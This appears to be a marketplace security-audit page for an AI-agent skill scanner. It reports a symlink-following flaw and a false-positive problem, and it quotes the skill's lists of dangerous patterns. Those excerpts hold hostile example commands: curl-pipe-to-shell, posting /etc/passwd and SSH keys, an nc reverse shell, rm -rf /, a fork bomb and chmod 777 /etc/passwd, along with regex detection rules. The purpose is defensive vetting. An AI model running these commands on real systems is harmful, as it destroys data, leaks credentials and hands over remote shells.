Vivi Skill Vetter

• Outcome: Review
• Latest audit: Sep 11, 2026 · 5:23 AM UTC
• Version: 1.0.0

Overview

This is a coherent skill-security scanner, but its bundled scanner can follow symlinks out of the scanned skill directory and may expose unrelated local file snippets in reports.

Review before installing or using in automation. The skill is not trying to run the dangerous examples it lists, but avoid scanning untrusted archives that preserve symlinks unless the scanner is sandboxed or fixed to reject symlinks and enforce path boundaries.

A.I.G

Vulnerability Patterns

• Unauthorized Access and Privilege Escalation: Obtains permissions beyond the task's legitimate needs
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (2)

T05 · Unauthorized Access and Privilege Escalation

Warning

• Location: scripts/vet_skill.py:241

Finding

Symbolic Links Can Cause Reads Outside the Intended Skill Directory

Content

View full analysis

Vulnerability Details

File Location: scripts/vet_skill.py:241-256
Vulnerability Type: Insufficient filesystem boundary enforcement
Risk Level: Medium

Complete Code Snippet

python

def find_files(skill_dir: Path) -> List[Path]:
    """Find all relevant files in skill directory"""
    files = []
    
    extensions = {'.py', '.sh', '.bash', '.zsh', '.js', '.ts', '.md', '.json', '.yaml', '.yml'}
    
    for ext in extensions:
        files.extend(skill_dir.rglob(f'*{ext}'))
    
    for f in skill_dir.rglob('*'):
        if f.is_file() and f.suffix == '':
            try:
                content = f.read_text(encoding='utf-8', errors='ignore')[:100]
                if content.startswith('#!'):
                    files.append(f)
            except:
                pass
    
    return sorted(set(files))

Discovered files are subsequently read without validating their resolved locations:

python

content = file_path.read_text(encoding='utf-8', errors='ignore')

Technical Analysis

The scanner recursively discovers paths beneath an untrusted Skill directory and reads them directly. It does not reject symbolic links or verify that each canonical, resolved target remains within the canonical Skill root.

A symbolic link may therefore appear to reside inside the Skill while its target resides anywhere accessible to the account running the scanner. Path.read_text() follows such links. The same behavior exists both during extensionless-script detection and during subsequent security-pattern scanning.

The issue violates least-privilege expectations: a Skill vetting utility only needs to read regular files physically contained in the submitted Skill directory. It does not need permission to follow attacker-selected links into unrelated user or system locations.

Attack Path

1. An attacker creates a Skill containing a supported path such as `references/loca ...[truncated 1431 chars]

Remediation

View remediation

Remediation Suggestions

1. Resolve the Skill root once and verify every candidate's canonical path before reading:

   python

   root = skill_dir.resolve(strict=True)
   
   for candidate in skill_dir.rglob('*'):
       if candidate.is_symlink():
           continue
   
       resolved = candidate.resolve(strict=True)
       if not resolved.is_relative_to(root):
           continue
   

2. Reject symbolic links explicitly rather than relying only on canonical-path checks.

3. Apply the same validation in every function that opens a discovered path, creating a defense-in-depth boundary at the point of use.

4. Require candidates to be regular files.

5. Add maximum file-size and total-scan-size limits before reading content.

6. Catch filesystem race conditions and revalidate paths as close as possible to opening them.

7. Run scans under a minimally privileged account or sandbox that cannot read unrelated credentials and private files.

8. Add regression tests using links to files inside and outside the Skill root.

T09 · Insecure Skill Coding Practices

Note

• Location: scripts/vet_skill.py:384

Finding

Context-Insensitive Pattern Matching Produces Incorrect Critical Verdicts

Content

View full analysis

Vulnerability Details

File Location: scripts/vet_skill.py:384-399
Related Rule Definitions: scripts/vet_skill.py:75-77,206
Vulnerability Type: Context-insensitive static analysis and false-positive denial of service
Risk Level: Low

Complete Code Snippet

python

for file_path in files:
    rel_path = file_path.relative_to(skill_path)
    
    if file_path.name in ['license.txt', 'LICENSE', 'README.md']:
        continue
    
    for finding in scan_file(file_path, CRITICAL_PATTERNS, Severity.CRITICAL):
        finding.file = str(rel_path)
        result.add(finding)
    
    for finding in scan_file(file_path, WARNING_PATTERNS, Severity.WARNING):
        finding.file = str(rel_path)
        result.add(finding)
    
    for finding in scan_boundary_zones(file_path):
        finding.file = str(rel_path)
        result.add(finding)

Representative rules that are applied to all discovered content include:

python

(r'curl\s+[^|]*\|\s*(bash|sh|zsh|fish)', "Remote code execution via curl | shell"),
(r'wget\s+[^|]*\|\s*(bash|sh|zsh|fish)', "Remote code execution via wget | shell"),
(r'curl\s+.*\|\s*sh', "Remote code execution via curl | sh"),

Technical Analysis

The implementation applies raw, line-oriented regular expressions uniformly to executable source code, Markdown documentation, fenced examples, explanatory text, comments, and the scanner's own pattern definitions.

It does not determine whether a match represents executable behavior. A security guide that warns users not to use curl | bash, for example, is classified in the same way as an executable installation script that performs the operation. The project audits itself and consequently flags its own detection examples as critical behavior.

Overlapping regular expressions can also generate multiple findings for the same source line. The final verdict is based solely on whether any critical ...[truncated 1721 chars]

Remediation

View remediation

Remediation Suggestions

1. Classify files and syntax before assigning severity:
   • Parse shell and programming-language source where practical.
   • Treat Markdown fenced code blocks and explanatory prose as documentation findings.
   • Ignore comments for rules intended to identify executable behavior.
2. Separate behavioral findings from reference/example matches in the report.
3. Exclude the scanner's rule-definition file from ordinary behavioral scanning, or tag rule declarations as trusted scanner metadata.
4. Deduplicate findings by file, line, behavior, and matched span.
5. Replace broad overlapping expressions with narrower rules and explicit precedence.
6. Require supporting execution context before assigning CRITICAL, such as a command in an executable shell script or a documented installation instruction.
7. Downgrade ambiguous textual matches to review-level warnings rather than automatically blocking.
8. Add tests covering Markdown examples, comments, regex declarations, actual shell commands, and mixed documentation/code files.
9. Preserve manual review for uncertain cases and clearly explain why each match is believed to be executable.

SkillSpector

Vulnerability Patterns

• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• YARA Signatures: Malware Match, Webshell Match, Cryptominer Match
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands

Findings (59)

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical

• Category: YARA Match
• Confidence: 85% confidence

Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · SKILL.md (reported line 51)May include surrounding context.

ode execution

text

**Privilege Escalation:**
```bash
sudo ...               # Requesting root access
chmod 777 ...          # Overly permissive
chmod +x ...           # Making scripts executable
chown root ...         # Changing ownership to root

Data Exfiltration:

bash

curl -X POST ... -d @/etc/passwd    # Sending sensitive files
curl ... -d "$HOME/.ssh"            # Sending SSH keys
nc -e /bin/sh ...                   # Reverse shell

System Destruction:

bash

rm -rf /                 # Delete everything
rm -rf ~                 # Delete home directory
rm -rf /*                # Delete all files
:(){ :|:& };:           # Fork bomb

2. ⚠️ Warning Patterns (Review Carefully)

These patterns may be legitimate but require context. Review carefully.

Environment Access:

bash

$HOME, $USER, $PATH    # Environment variables
cat ~/.ssh/id_rsa       # SSH key access
cat ~/.bashrc           # Shell config access

Network Operations:

bash

curl

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 32)May include surrounding context.

Command Execution:

bash

curl ... | bash        # Remote code execution
curl ... | sh          # Remote code execution
wget ... -O - | sh     # Remote code execution
eval "$(...)"          # Arbitrary code execution

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 33)May include surrounding context.

Command Execution:

bash

curl ... | bash        # Remote code execution
curl ... | sh          # Remote code execution
wget ... -O - | sh     # Remote code execution
eval "$(...)"          # Arbitrary code execution
exec "$(cmd)"          # Arbitrary code execution

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 34)May include surrounding context.

bash

curl ... | bash        # Remote code execution
curl ... | sh          # Remote code execution
wget ... -O - | sh     # Remote code execution
eval "$(...)"          # Arbitrary code execution
exec "$(cmd)"          # Arbitrary code execution

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 80% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 42)May include surrounding context.

Privilege Escalation:

bash

sudo ...               # Requesting root access
chmod 777 ...          # Overly permissive
chmod +x ...           # Making scripts executable
chown root ...         # Changing ownership to root

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 80% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/patterns.md (reported line 46)May include surrounding context.

Privilege Escalation:

bash

sudo ...               # Requesting root access
chmod 777 ...          # Overly permissive
chmod +x ...           # Making scripts executable
chown root ...         # Changing ownership to root

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High

• Category: YARA Match
• Confidence: 75% confidence

Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

root access chmod 777 ... # Overly permissive chmod +x ... # Making scripts executable chown root ... # Changing ownership to root

text

**Data Exfiltration:**
```bash
curl -X POST ... -d @/etc/passwd    # Sending sensitive files
curl ... -d "$HOME/.ssh"            # Sending SSH keys
nc -e /bin/sh ...                   # Reverse shell

System Destruction:

bash

rm -rf /                 # Delete everything
rm -rf ~                 # Delete home directory
rm -rf /*                # Delete all files
:(){ :|:& };:           # Fork bomb

2. ⚠️ Warning Patterns (Review Carefully)

These patterns may be legitimate but require context. Review carefully.

Environment Access:

bash

$HOME, $USER, $PATH    # Environment variables
cat ~/.ssh/id_rsa       # SSH key access
cat ~/.bashrc           # Shell config access

Network Operations:

bash

curl ...               # May send data externally
wget ...               # May download malici

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 57)May include surrounding context.

System Destruction:

bash

rm -rf /                 # Delete everything
rm -rf ~                 # Delete home directory
rm -rf /*                # Delete all files
:(){ :|:& };:           # Fork bomb

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 58)May include surrounding context.

bash

rm -rf /                 # Delete everything
rm -rf ~                 # Delete home directory
rm -rf /*                # Delete all files
:(){ :|:& };:           # Fork bomb

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/patterns.md (reported line 14)May include surrounding context.

Patterns:

bash

# CRITICAL - Downloads and executes code blindly
curl https://example.com/script.sh | bash
wget -O - https://example.com/install.sh | sh

# Why dangerous:

Chaining Abuse

High

• Category: Tool Misuse
• Confidence: 70% confidence

Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · references/patterns.md (reported line 14)May include surrounding context.

Patterns:

bash

# CRITICAL - Downloads and executes code blindly
curl https://example.com/script.sh | bash
wget -O - https://example.com/install.sh | sh

# Why dangerous:

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/patterns.md (reported line 15)May include surrounding context.

bash

# CRITICAL - Downloads and executes code blindly
curl https://example.com/script.sh | bash
wget -O - https://example.com/install.sh | sh

# Why dangerous:
# - No verification of the downloaded content

Chaining Abuse

High

• Category: Tool Misuse
• Confidence: 70% confidence

Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · references/patterns.md (reported line 15)May include surrounding context.

bash

# CRITICAL - Downloads and executes code blindly
curl https://example.com/script.sh | bash
wget -O - https://example.com/install.sh | sh

# Why dangerous:
# - No verification of the downloaded content

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

bash

# WARNING - Sudo usage
sudo apt install package
sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 58)May include surrounding context.

bash

# WARNING - Sudo usage
sudo apt install package
sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/patterns.md (reported line 43)May include surrounding context.

bash

# WARNING - Sudo usage
sudo apt install package
sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/patterns.md (reported line 94)May include surrounding context.

bash

# WARNING - Sudo usage
sudo apt install package
sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/patterns.md (reported line 43)May include surrounding context.

bash

# WARNING - Sudo usage
sudo apt install package
sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 49)May include surrounding context.

sudo rm -rf /var/log/*

CRITICAL - Overly permissive

chmod 777 /etc/passwd chown root:root malicious_script.sh

text

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/patterns.md (reported line 46)May include surrounding context.

sudo rm -rf /var/log/*

CRITICAL - Overly permissive

chmod 777 /etc/passwd chown root:root malicious_script.sh

text

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/patterns.md (reported line 67)May include surrounding context.

sudo rm -rf /var/log/*

CRITICAL - Overly permissive

chmod 777 /etc/passwd chown root:root malicious_script.sh

text

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/patterns.md (reported line 150)May include surrounding context.

sudo rm -rf /var/log/*

CRITICAL - Overly permissive

chmod 777 /etc/passwd chown root:root malicious_script.sh

text

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/patterns.md (reported line 156)May include surrounding context.

sudo rm -rf /var/log/*

CRITICAL - Overly permissive

chmod 777 /etc/passwd chown root:root malicious_script.sh

text

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/vet_skill.py (reported line 90)May include surrounding context.

python

sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd
chown root:root malicious_script.sh
```

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/vet_skill.py (reported line 179)May include surrounding context.

python

sudo rm -rf /var/log/*

# CRITICAL - Overly permissive
chmod 777 /etc/passwd
chown root:root malicious_script.sh
```

Static analysis

No suspicious patterns detected.